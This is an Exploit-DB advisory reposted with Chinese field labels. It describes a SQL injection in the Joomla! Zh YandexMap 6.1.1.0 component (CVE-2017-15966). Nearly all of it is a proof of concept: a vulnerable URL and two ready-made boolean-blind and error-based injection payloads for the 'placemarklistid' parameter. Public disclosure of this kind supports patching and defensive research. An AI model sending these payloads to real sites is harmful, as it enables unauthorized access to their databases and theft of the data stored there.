Joomla! Component Zh YandexMap 6.1.1.0 – ‘placemarklistid’ SQL Injection

  • 作者: Ihsan Sencan
    日期: 2017-10-30
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/43093/
  • # # # # # 
    # Exploit Title: Joomla! Component Zh YandexMap 6.1.1.0 - SQL Injection
    # Dork: N/A
    # Date: 30.10.2017
    # Vendor Homepage: http://zhuk.cc/
    # Software Link: https://extensions.joomla.org/extensions/extension/maps-a-weather/maps-a-locations/zh-yandexmap/
    # Demo: http://joomla.zhuk.cc/index.php
    # Version: 6.1.1.0
    # Category: Webapps
    # Tested on: WiN7_x64/KaLiLinuX_x64
    # CVE: CVE-2017-15966
    # # # # #
    # Exploit Author: Ihsan Sencan
    # Author Web: http://ihsan.net
    # Author Social: @ihsansencan
    # # # # #
    # Description:
    # The vulnerability allows an attacker to inject sql commands....
    # 	
    # Proof of Concept:
    # 
    # http://localhost/[PATH]/index.php?option=com_zhyandexmap&view=zhyandexmap&tmpl=component&id=3&placemarklistid=[SQL]
    # 
    # Parameter: placemarklistid (GET)
    # Type: boolean-based blind
    # Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    # Payload: option=com_zhyandexmap&view=zhyandexmap&tmpl=component&id=3&placemarklistid=-8164) OR 5013=5013#
    # 
    # Type: error-based
    # Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR)
    # Payload: option=com_zhyandexmap&view=zhyandexmap&tmpl=component&id=3&placemarklistid=-1660) OR 1 GROUP BY CONCAT(0x71627a7871,(SELECT (CASE WHEN (6691=6691) THEN 1 ELSE 0 END)),0x716b7a7671,FLOOR(RAND(0)*2)) HAVING MIN(0)#
    # 
    # Etc..
    # # # # #